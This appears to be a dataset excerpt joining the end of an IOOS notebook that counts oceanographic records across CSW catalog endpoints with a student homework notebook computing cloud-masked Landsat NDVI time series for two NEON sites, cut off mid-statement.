                          'significant_wave_height',\n                                 'significant_height_of_wave',\n                                 'sea_surface_wave_significant_height(m)',\n                                 'sea_surface_wave_significant_height (m)',\n                                 'water_surface_height'], \n                      \"sos_name\": [\"waves\"]} \n\nnames_dict['winds'] = {\"names\": ['eastward_wind', 'u-component_of_wind', \n                                 'u-component_of_wind_height_above_ground', \n                                 'ugrd10m', \n                                 'wind'], \n                       \"v_names\": ['northward_wind', \n                                   'v-component_of_wind', \n                                   'v-component_of_wind_height_above_ground', \n                                   'vgrd10m', \n                                   'wind'],\n                       \"sos_name\": ['winds']}  \n\nnames_dict['currents'] = {\"names\": ['eastward_sea_water_velocity_assuming_no_tide',\n                                    'surface_eastward_sea_water_velocity',\n                                    '*surface_eastward_sea_water_velocity*', \n                                    'eastward_sea_water_velocity'], \n                          \"v_names\": ['northward_sea_water_velocity_assuming_no_tide',\n                                      'surface_northward_sea_water_velocity',\n                                     '*surface_northward_sea_water_velocity*', \n                                     'northward_sea_water_velocity'],\n                          \"sos_name\": ['currents']}\n\nnames_dict['water_level'] = {\"names\": ['water_surface_height_above_reference_datum',\n                                       'sea_surface_height_above_geoid',\n                                       'sea_surface_elevation',\n                                       'sea_surface_height_above_reference_ellipsoid',\n                                       'sea_surface_height_above_sea_level',\n                                       'sea_surface_height','water level']}\n\n# <markdowncell>\n\n# ### Define the csw endpoints we know about\n\n# <markdowncell>\n\n# <div class=\"info\">This cell lists catalog endpoints. The list is updated by the IOOS Program Office here: https://github.com/ioos/system-test/wiki/Service-Registries-and-Data-Catalogs </div>\n\n# <codecell>\n\nendpoints = ['http://www.nodc.noaa.gov/geoportal/csw',\n             'http://data.nodc.noaa.gov/geoportal/csw',\n             'http://www.ngdc.noaa.gov/geoportal/csw',\n             'http://catalog.data.gov/csw-all',\n             'https://data.noaa.gov/csw',\n             'http://geoport.whoi.edu/geoportal/csw',\n             'https://edg.epa.gov/metadata/csw',\n             'http://cmgds.marine.usgs.gov/geonetwork/srv/en/csw',\n             'http://cida.usgs.gov/gdp/geonetwork/srv/en/csw',\n             'http://geodiscover.cgdi.ca/wes/serviceManagerCSW/csw',\n             'http://cwic.csiss.gmu.edu/cwicv1/discovery',\n             'https://www.sciencebase.gov/catalog/item/519bee13e4b0e4e151f0232c/csw'\n             ]\n# 'http://pacioos.org/search/'\n# 'http://geoport.whoi.edu/gi-cat/services/cswiso',\n\n# Set the maximum number of records the CSW will return\nmax_records = 2000\n\n# <markdowncell>\n\n# ### Is data available for the basic oceanography variables in the CSW endpoints for multiple locations?\n# \n# #### Check the CSW endpoints for each variable and location\n\n# <markdowncell>\n\n# <div class=\"warning\"><strong>This next cell takes a long time to process!</strong>  <br>Go grab a coffee</div>\n\n# <codecell>\n\n# Add a waitbar to monitor status\ndivid = insert_progress_bar(title='Searching catalogs. Please wait...', color='red')\n\n# Save all of the results in a list of Dataframes\nresults = {}\nall_data = []\n\ncount = 0\n# Loop through the csw endpoints\nfor endpoint in endpoints:\n    print '\\n' + endpoint\n    \n    csw = CatalogueServiceWeb(endpoint, timeout=60)\n    # loop through the variables\n    for var_name in names_dict:\n#         print '\\n' + var_name.upper()\n        num_recs = []\n        for location, bounding_box in locations.iteritems():\n#             print location\n            \n            bbox = fes.BBox(bounding_box)\n            #use the search name to create search filter\n            or_filt = fes.Or([fes.PropertyIsLike(propertyname='apiso:AnyText',\n                                                 literal='*%s*' % val,\n                                                 escapeChar='\\\\',\n                                                 wildCard='*',\n                                                 singleChar='?') for val in names_dict[var_name][\"names\"]])\n            filter_list = [fes.And([ bbox, or_filt])]\n            # try request using multiple filters \"and\" syntax: [[filter1,filter2]]\n            try:\n                csw.getrecords2(constraints=filter_list, maxrecords=max_records, resulttype='hits')\n            except Exception as e:\n                print '\\t' + 'ERROR - ' + str(e)\n                num_recs.append(np.NaN)\n            else:\n#                 print csw.results['matches']\n                num_recs.append(csw.results['matches'])\n            \n        results[var_name] = np.array(num_recs)\n\n    # Save the results\n    prod = list(itertools.product([endpoint], locations.keys()))\n    mi = pd.MultiIndex.from_tuples(prod, names=['endpoint', 'location'])\n    all_data.append(pd.DataFrame(results, index=mi))\n                     \n    # Update progress bar\n    count += 1\n    percent_complete = (float(count)/float(len(endpoints)))*100\n    update_progress_bar(divid, percent_complete)\n\n# all_data_concat = pd.concat(all_data)\n\n# <markdowncell>\n\n# <div class=\"error\"> Some servers have a maximum amount of records you can retrieve at once. See: https://github.com/ioos/system-test/issues/126</div>\n\n# <markdowncell>\n\n# #### Let's plot the results in a bar graph\n\n# <codecell>\n\nalldata_concat = pd.concat(all_data)\nendpoint_group = alldata_concat.groupby(level=0)\n# can uncomment this for a terser, but less well annotated plot\n# endpoint_group.plot(kind='barh')\nfor grp_name, grp in endpoint_group:\n    fig, ax = plt.subplots()\n    # eliminate endpoint from index since it will be the graph title\n    grp.reset_index(0, drop=True).plot(ax=ax, kind=\"barh\", figsize=(10, 8,),\n                                       title=grp_name)\n    ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n    ax.set_xlabel('Number of records')\n\n# <codecell>\n\n# By location across all endpoints\nlocation_group = alldata_concat.fillna(0).groupby(level='location').sum()\nax = location_group.plot(kind='barh', title='All records by location', figsize=(10, 8))\nax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\nax.set_xlabel('Number of records')\nprint(location_group)\n\n# <markdowncell>\n\n# ### Is the data recent (< 1 month)?\n# \n# #### Let's add a temporal extent to the search\n\n# <codecell>\n\n#temporal range - last 28 days and next 3 days (forecast data)\njd_now = dt.datetime.utcnow()\njd_start,  jd_stop = jd_now - dt.timedelta(days=28), jd_now + dt.timedelta(days=3)\n\nstart_date = jd_start.strftime('%Y-%m-%d %H:00')\nstop_date = jd_stop.strftime('%Y-%m-%d %H:00')\n\nprint start_date + ' to ' + stop_date\n\n# <codecell>\n\n# Add a waitbar to monitor status\ndivid = insert_progress_bar(title='Searching catalogs. Please wait...', color='red')\n\n# Save all of the results in a list of Dataframes\nresults = {}\nrecent_data = []\n\ncount = 0\n# Loop through the csw endpoints\nfor endpoint in endpoints:\n    print '\\n' + endpoint\n\n    try:\n        csw = CatalogueServiceWeb(endpoint, timeout=60)\n    # continue processing if an endpoint is down or otherwise nonfunctional\n    # but report the exception returned from OWSLib\n    except ExceptionReport as e:\n        print('Error accessing CSW endpoint \"{0}\". Error report: {1}'.format(endpoint, e))\n        continue\n    # loop through the variables\n    for var_name in names_dict:\n#         print '\\n' + var_name.upper()\n        num_recs = []\n        for location, bounding_box in locations.iteritems():\n#             print location\n            # convert User Input into FES filters\n            start, stop = fes_date_filter(start_date, stop_date)\n            bbox = fes.BBox(bounding_box)\n\n            #use the search name to create search filter\n            or_filt = fes.Or([fes.PropertyIsLike(propertyname='apiso:AnyText',\n                                                 literal='*%s*' % val,\n                                                 escapeChar='\\\\',\n                                                 wildCard='*',\n                                                 singleChar='?') for val in names_dict[var_name][\"names\"]])\n            filter_list = [fes.And([ bbox, start, stop, or_filt])]\n            # try request using multiple filters \"and\" syntax: [[filter1,filter2]]\n            try:\n                csw.getrecords2(constraints=filter_list, #maxrecords=max_records,\n                                resulttype='hits')\n                \n            except Exception as e:\n                print '\\t' + 'ERROR - ' + str(e)\n                num_recs.append(np.NaN)\n            else:\n#                 print '\\t' + str(len(csw.records)) + \" csw records found\"\n#                 print csw.results['matches']\n                num_recs.append(csw.results['matches'])\n            \n        results[var_name] = np.array(num_recs)\n\n    # Save the results\n    prod = list(itertools.product([endpoint], locations.keys()))\n    mi = pd.MultiIndex.from_tuples(prod, names=['endpoint', 'location'])\n    df = pd.DataFrame(results, index=mi)\n    # if all the entries in the entire endpoint have zero counts, do not include this\n    # endpoint provider\n    if (df.stack().fillna(0) != 0).any():\n        recent_data.append(df)\n    else:\n        continue\n\n                     \n    # Update progress bar\n    count += 1\n    percent_complete = (float(count)/float(len(endpoints)))*100\n    update_progress_bar(divid, percent_complete)\n\nrecent_data_concat = pd.concat(recent_data)\n\n# <markdowncell>\n\n# #### Once again, let's plot the results in a bar graph\n\n# <codecell>\n\nendpoint_group_recent = recent_data_concat.groupby(level='endpoint')\n# can uncomment this for a plot with tuple groups as y axis marks\n# endpoint_group.plot(kind='barh', figsize=(10, 8,))\nfor grp_name, grp in endpoint_group_recent:\n#     print grp_name, grp\n    fig, ax = plt.subplots()\n    # eliminate endpoint from index since it will be the graph title\n    grp.reset_index(0, drop=True).plot(ax=ax, kind=\"barh\", figsize=(10, 8,),\n                                       title=grp_name)\n    ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n    ax.set_xlabel('Number of records')\n\n# <markdowncell>\n\n# ### Reorganize the data by variable name and plot\n\n# <codecell>\n\n#return counts of each variables as a series and place the variable type as the first index\nstacked = recent_data_concat.stack().reorder_levels([2,1,0])\nstacked.index.names = ['variable_type', 'location', 'endpoint']\nstacked.name = 'record_counts'\n#stacked.index.names = stacked.index.names[['variable_type']\nby_var = stacked.unstack()\nfor grpname, grps in by_var.groupby(level='variable_type'):\n   # get rid of variable index since we are already grouping by it and have its name\n   cur_grp = grps.reset_index(level='variable_type', drop=True)\n   fig, ax = plt.subplots()\n   cur_grp.plot(ax=ax, kind='barh', stacked=True, figsize=(10, 8,), legend=False, title=grpname)\n   ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n   ax.set_xlabel('Number of records')\n\n# <codecell>\n\n# show \nax = by_var.groupby(level='variable_type').sum().plot(kind='bar',\n                                                      figsize=(10, 8,),\n                                                      title='Recent variable counts by endpoint')\n\n# <markdowncell>\n\n# ### Conclusions\n# * The core oceanographic variables are available from numerous CSW endpoints\n# * But if you are looking for recent (< 1 month) data, the NGDC and NODC CSW is the best bet\n# * Each of the locations tested seemed to have good data coverage except currents in the Arctic\n\n", "meta": {"hexsha": "cb060696c80e9831b486918340767e5d7664cb5f", "size": 15011, "ext": "py", "lang": "Python", "max_stars_repo_path": "Theme_2_Extreme_Events/Comprehensive/test_multiple_endpoints_variables_locations.py", "max_stars_repo_name": "ocefpaf/system-test", "max_stars_repo_head_hexsha": "9e435524b96dcdcb7a2e5dccb8be8ead0f35a547", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Theme_2_Extreme_Events/Comprehensive/test_multiple_endpoints_variables_locations.py", "max_issues_repo_name": "ocefpaf/system-test", "max_issues_repo_head_hexsha": "9e435524b96dcdcb7a2e5dccb8be8ead0f35a547", "max_issues_repo_licenses": ["Unlicense"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Theme_2_Extreme_Events/Comprehensive/test_multiple_endpoints_variables_locations.py", "max_forks_repo_name": "ocefpaf/system-test", "max_forks_repo_head_hexsha": "9e435524b96dcdcb7a2e5dccb8be8ead0f35a547", "max_forks_repo_licenses": ["Unlicense"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.1959287532, "max_line_length": 289, "alphanum_fraction": 0.6104856439, "include": true, "reason": "import numpy", "num_tokens": 3461, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.36658973632215985, "lm_q2_score": 0.24798743179802785, "lm_q1q2_score": 0.09090964723404862}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name: Christian Haselwimmer**\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# ## Pseudocode\n# 1. Query input directory and build list of sites (in this case SJER and HARV) from top level directories\n# 2. Create placeholder list to store data for each site\n# 3. Loop through each site/directory and:\n#    - Create empty site specific dataframe with required columns\n#    - Open the sites bounding vector as a geodataframe\n#    - Build list of available Landsat scenes within the site directory\n#    - Loop through the list of Landsat scenes and for each Landsat scene:\n#      - Get paths for bands 4 & 5 and for the QA data\n#      - Open bands 4 & 5 using the bounding extent and calculate NDVI\n#      - Open the QA data and use to mask the NDVI result\n#      - Calculate average NDVI value from masked result and populate dataframe with the value\n#    - Append the site specific dataframe to the list\n# 4. Concatenate the list items into a single dataframe\n# 5. Create plots\n\n# In[1]:\n\n\n# Autograding imports - do not modify this cell\nimport matplotcheck.autograde as ag\nimport matplotcheck.notebook as nb\nimport matplotcheck.timeseries as ts\nfrom datetime import datetime\n\n\n# In[2]:\n\n\n# Import needed packages in PEP 8 order\n# and no unused imports listed (10 points total)\n\nimport os\nfrom glob import glob\n\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport pandas as pd\nimport geopandas as gpd\nimport numpy as np\nimport xarray as xr\nimport rioxarray as rxr\nimport earthpy as et\nimport seaborn as sns\n\n# Get data\net.data.get_data('ndvi-automation')\n\n# Set working directory\nos.chdir(os.path.join(et.io.HOME,\n                      'earth-analytics',\n                      'data'))\n\n# Setting consistent plotting style throughout notebook\nsns.set_style(\"white\")\nsns.set(font_scale=1.5)\n\n\n# In[3]:\n\n\n# DO NOT MODIFY THIS CELL\n# Tests that the working directory is set to earth-analytics/data\n\npath = os.path.normpath(os.getcwd())\nstudent_wd_parts = path.split(os.sep)\n\nif student_wd_parts[-2:] == ['earth-analytics', 'data']:\n    print(\"\\u2705 Great - it looks like your working directory is set correctly to ~/earth-analytics/data\")\nelse:\n    print(\"\\u274C Oops, the autograder will not run unless your working directory is set to earth-analytics/data\")\n\n\n# # Figure 1: Plot 1 - Mean NDVI For Each Site Across the Year (50 points)\n# \n# Create a plot of the mean normalized difference vegetation index (NDVI) for the two different sites in the United States across the year: \n# \n# * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object.\n# * Each site should be identified with a different color in the plot and legend.\n# * The final plot **data should be cleaned to remove the influence of clouds**.\n# * Be sure to include appropriate title and axes labels.\n# \n# Add additional cells as needed for processing data (e.g. defining functions, etc), but be sure to:\n# * follow the instructions in the code cells that have been provided to ensure that you are able to use the sanity check tests that are provided. \n# * include only the plot code in the cell identified for the final plot code below\n\n# ## Task 1: \n# \n# In the cell below, create a single dataframe containing MEAN NDVI, the site name, \n# and the date of the data for the HARV site \n# scene `HARV/landsat-crop/LC080130302017031701T1-SC20181023151837`.  The column names for the  final\n# DataFrame should be`mean_ndvi`, and `site`, and the data should be **indexed on the date**. \n# \n# Use the functions that we reviewed in class (or create your own versions of them) to implement your code\n# \n# ### In the Cell below Place  All Functions Needed to Run this Notebook (20 points)\n\n# In[4]:\n\n\n### DO NOT REMOVE THIS LINE OR EDIT / MOVE THIS CELL ###\nstart_time = datetime.now()\n\n\n# In[5]:\n\n\n# In this cell place all of the functions needed to run your notebook\n# You will be graded here on function application, docstrings, efficiency so ensure\n# All functions are placed here!\n\n#  Function to open a Landsat band for a specific geographic bounds\ndef open_clean_bands(band_path,\n                     crop_extent,\n                     valid_range=None):\n    \"\"\"Opens a Landsat band and returns data for a specific geographic bounds with the\n    option to enforce a valid data range.\n\n    Parameters\n    -----------\n    band_path : string\n        A path to the array to be opened\n    crop_extent: geopandas GeoDataFrame\n        A geopandas dataframe to be used to crop the raster data using rasterio mask().\n    valid_range : tuple (optional)\n        A tuple of min and max range of values for the data. Default = None\n\n    Returns\n    -----------\n    band : xarray DataArray\n        An xarray DataArray with the band values\n    \"\"\"\n    band = rxr.open_rasterio(band_path, masked=True).rio.clip(crop_extent.geometry,\n                                                              from_disk=True).squeeze()\n    # Only run this step if a valid range tuple is provided\n    if valid_range:\n        mask = ((band < valid_range[0]) | (band > valid_range[1]))\n        band = band.where(~xr.where(mask, True, False))\n\n    return band\n\n\n# Function to calculate average NDVI value\ndef mask_crop_ndvi(all_bands,\n                   crop_extent,\n                   pixel_qa_path,\n                   vals):\n    \"\"\"Calculates an average NDVI value from Landsat bands 4 and 5 for a specific geographic\n    extent using the Landsat cloud mask to remove anomalous values.\n\n    Parameters\n    -----------\n    all_bands : list\n        A list containing two xarray objects for landsat bands 4 and  5\n    crop_extent: geopandas GeoDataFrame\n        A geopandas dataframe to be used to crop the raster data using rasterio mask().\n    pixel_qa_path: string\n        A path to a pixel qa tif file.\n    vals: list\n        A list of values needed to create the cloud mask\n\n\n    Returns\n    -----------\n    ndvi_mean : float\n        Mean NDVI value\n    \"\"\"\n\n    # crop_json = crop_bound.geometry\n\n    # Open and clip qa layer\n    # pixel_qa = rxr.open_rasterio(pixel_qa_path[0], masked=True).rio.clip(crop_json,\n    #                                                            from_disk = True).squeeze()\n\n    # Open and clip qa layer\n    pixel_qa = rxr.open_rasterio(pixel_qa_path[0], masked=True).rio.clip(crop_extent.geometry,\n                                                                         from_disk=True).squeeze()\n\n    # Calculate NDVI\n    ndvi_xr = (all_bands[1]-all_bands[0]) / (all_bands[1]+all_bands[0])\n\n    # Apply cloud mask to NDVI\n    ndvi_mask = ndvi_xr.where(~pixel_qa.isin(vals))\n    \n    # Calculate mean NDVI value\n    ndvi_mean = np.nanmean(ndvi_mask)\n    \n    return ndvi_mean\n\n\n# ## Script to calculate mean NDVI for a single Landsat 8 scene\n# The script below will calculate the average NDVI value from Bands 4 and 5 of Landsat 8 data for a single scene.\n\n# In[6]:\n\n\n# Create dataframe of mean NDVI in this cell using the functions created above\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Call the dataframe at the end of the cell so the tests run on it!\n# Be sure that the date column is an index of type date\n# HINT: the time series lessons may help you remember how to do this!\n\n# Define site name\nsite_name = \"HARV\"\n\n# Define site path\nsite = os.path.join(\"ndvi-automation\", \"sites\", site_name)\n\n# Geographic bounds\n# Open up the shapefile for clipping your landsat data to the study area\nvector_dir = os.path.join(site, \"vector\")\n\n# Open crop boundary\nsite_boundary_path = os.path.join(vector_dir,  site_name + \"-crop.shp\")\ncrop_extent = gpd.read_file(site_boundary_path)\n\n\n# Landsat bands\n# Select just a single directory and grab bands 4-5 from the directory\nadir = os.path.join(site, \"landsat-crop\",\n                    \"LC080130302017031701T1-SC20181023151837\")\n\n# Define bands paths\nband_paths = sorted(glob(os.path.join(adir, \"*band*[4-5].tif\")))\n\n# Open the bands and append into Xarray\nall_bands = []\nfor aband in band_paths:\n    print(\"Opening up\", aband)\n    cleaned_band = open_clean_bands(band_path=aband,\n                                    crop_extent=crop_extent,\n                                    valid_range=(0, 10000))\n    all_bands.append(cleaned_band)\n\n\n# QA dataset\n# Cloud no data vals for Landsat 8 -\nvals = [328, 392, 840, 904, 1350, 352, 368, 416,\n        432, 480, 864, 880, 928, 944, 992, 480, 992]\n\n# Open cloud mask layer\npixel_qa_path = glob(os.path.join(adir, \"*qa*\"))\n\n\n# Calculate mean NDVI\nsite_NDVI = mask_crop_ndvi(all_bands=all_bands,\n                           crop_extent=crop_extent,\n                           pixel_qa_path=pixel_qa_path,\n                           vals=vals)\n\n# Extract the date from the Landsat directory name\npath_components = adir.split(os.sep)\ndir_name = path_components[4]\ndate = dir_name[10:18]\ndate\n\n# Create the summary dataframe\nndvi_list = []\nndvi_list.append([site_name, date, site_NDVI])\nndvi_df = pd.DataFrame(ndvi_list,\n                       columns=[\"site\", \"date\", \"mean_ndvi\"])\n\n# convert the 'Date' column to datetime format\nndvi_df['date']= pd.to_datetime(ndvi_df['date'])\nndvi_df.set_index(\"date\", inplace=True)\nndvi_df\n\n\n# In[7]:\n\n\n# This cell  is testing your data output above\n\nstudent_ndvi_ts_single_site = _\n\nsingle_scene_points = 0\n\n# Ensure the data is stored in a dataframe.\nif isinstance(student_ndvi_ts_single_site, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    single_scene_points += 1\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_ts_single_site.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    single_scene_points += 2\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_ts_single_site.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    single_scene_points += 2\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Ensure the site name is correct\nif student_ndvi_ts_single_site.site.values[0] == 'HARV':\n    print('\\u2705 You have the correct site name!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct site name.')\n\nif np.allclose(0.281131628228094, student_ndvi_ts_single_site.mean_ndvi.values[0]):\n    print('\\u2705 You have the correct mean NDVI value!')\n    single_scene_points += 5\nelse:\n    print('\\u274C You do not have the correct mean ndvi value.')\n\nprint(\"\\n \\u27A1 You received {} out of 15 points for creating a dataframe.\".format(\n    single_scene_points))\nsingle_scene_points\n\n\n# ## Task 2:\n# \n# In the cell below, process all of the landsat scenes. Create a DataFrame that contains the following \n# information for each scene\n# \n# \n# |   | index  | site  | mean_ndvi  | \n# |---|---|---|---|\n# | Date  |   |   |   |\n# |  2017-01-07  | 0  | SJER  | .4  |  \n# \n# Be sure to call your dataframe at the end of the cell to ensure autograding works.\n# HINT: FOR THIS STEP, leave any rows containing missing values (`NAN`).\n\n# ## Script to calculate average NDVI values from multiple NEON sites and Landsat 8 scenes\n# This script searches through a specified directory for NEON sites and then calculates the average NDVI values for Landsat 8 datasets associated with these sites. The Landsat 8 data includes acquisitions for the year 2017. \n\n# In[8]:\n\n\n# Create dataframe of NDVI including the cleaning data to deal with clouds\n\n# Important: to use the ungraded tests below as a sanity check,\n# name your columns: mean_ndvi and site\n# Don't forget to set date as the index and make the values of type datetime\n\n# Get list of sites\nall_sites = glob(os.path.join(\"ndvi-automation\", \"sites\", \"*/\"))\n\n# Define the directory name where the Landsat directories are stored\nlandsat_dir = \"landsat-crop\"\n\n# Define cloud no data vals for Landsat 8 -\nvals = [328, 392, 840, 904, 1350, 352, 368, 416,\n        432, 480, 864, 880, 928, 944, 992, 480, 992]\n\n# Placeholder list to store the NDVI data\nndvi_list = []\n\n# Loop through the sites\nfor site in all_sites:\n\n    # Get the site name\n    path_components = site.split(os.sep)\n    site_name = path_components[2]\n\n    # Open up the site extents shapefile to clip Landsat data\n    vector_dir = os.path.join(site, \"vector\")\n\n    # Open crop boundary\n    site_boundary_path = os.path.join(vector_dir,  site_name + \"-crop.shp\")\n    crop_extent = gpd.read_file(site_boundary_path)\n\n    # Get a list of the Landsat sub-directories\n    new_path = os.path.join(site, landsat_dir)\n    all_dirs = glob(new_path + \"/*/\")\n\n    #  Loop through  each Landsat subdirectory\n    for adir in all_dirs:\n\n        # Define Landsat bands paths\n        band_paths = sorted(glob(os.path.join(adir, \"*band*[4-5].tif\")))\n\n        # Open the bands and append into Xarray\n        all_bands = []\n        for aband in band_paths:\n            cleaned_band = open_clean_bands(band_path=aband,\n                                            crop_extent=crop_extent,\n                                            valid_range=(0, 10000))\n            all_bands.append(cleaned_band)\n\n        # Open cloud mask layer\n        pixel_qa_path = glob(os.path.join(adir, \"*qa*\"))\n\n        # Calculate mean NDVI\n        site_NDVI = mask_crop_ndvi(all_bands=all_bands,\n                                   crop_extent=crop_extent,\n                                   pixel_qa_path=pixel_qa_path,\n                                   vals=vals)\n        \n        # Extract the date from the Landsat directory name\n        path_components = adir.split(os.sep)\n        dir_name = path_components[4]\n        date = dir_name[10:18]\n        \n        # Append values to the list\n        ndvi_list.append([site_name, date, site_NDVI])\n        \n# Format the NDVI data\nndvi_df = pd.DataFrame(ndvi_list,\n                       columns=[\"site\", \"date\", \"mean_ndvi\"])\n\n# Convert the 'Date' column to datetime format\nndvi_df['date']= pd.to_datetime(ndvi_df['date'])\nndvi_df.set_index(\"date\", inplace=True)\n\n# Export the df as a CSV file\noutput_path = os.path.join(\"ndvi-automation\", \"landsat_ndvi.csv\")\nndvi_df.to_csv(output_path, index=True, header=True)\n\nndvi_df\n\n\n# In[9]:\n\n\n# Last sanity check before creating your plot (10 points)\n\n# Ensure that you call your dataframe at the bottom of the cell above\n# and that it has columns called: mean_ndvi and site\n\n# Ensure the data is stored in a dataframe.\nstudent_ndvi_df = _\n\ndf_points = 0\n\nif isinstance(student_ndvi_df, pd.DataFrame):\n    print('\\u2705 Your data is stored in a DataFrame!')\n    df_points +=2\nelse:\n    print('\\u274C It appears your data is not stored in a DataFrame. ',\n          'To see what type of object your data is stored in, check its type with type(object)')\n\n# Check that dataframe contains the appropriate number of NAN values\nif student_ndvi_df.mean_ndvi.isna().sum() == 15:\n    print('\\u2705 Correct number of masked data values!')\n    df_points +=2\nelse:\n    print('\\u274C The amount of null data in your dataframe is incorrect.')\n\n\n# Ensure that the date column is the index\nif isinstance(student_ndvi_df.index, pd.core.indexes.datetimes.DatetimeIndex):\n    print('\\u2705 You have the index set to the date column!')\n    df_points +=3\nelse:\n    print('\\u274C You do not have the index set to the date column.')\n\n# Ensure that the date column is datetime\nif isinstance(student_ndvi_df.index[0], pd._libs.tslibs.timestamps.Timestamp):\n    print('\\u2705 The data in your date column is datetime!')\n    df_points +=3\nelse:\n    print('\\u274C The data in your date column is not datetime.')\n\n# Output for timer, # DO NOT MODIFY\nend_time = datetime.now()\ntotal_time = end_time - start_time\nprint(\n    \"Your total run time for processing the data was {0}.\".format(total_time))\n\nprint(\"\\n \\u27A1 You received {} out of 10 points for creating a dataframe.\".format(\n    df_points))\n\ndf_points\n\n\n# In[10]:\n\n\n# Add only the plot code to this cell\n\n# This is the final figure of mean NDVI\n# for both sites across the year\n# with data cleaned to deal with clouds\n\n# Remove NaN rows that represent cloud covered scenes\nndvi_df = ndvi_df.dropna()\n\nfig, ax = plt.subplots(figsize=(15, 15))\n\nsites = ndvi_df.site.unique()\nndvi_df.reset_index().groupby('site').plot(x='date', y='mean_ndvi', ax=ax)\nplt.legend(sites)\n\nax.set(title=\"Mean NDVI January-December 2017 calculated from Landsat 8 data with clouds masked\",\n        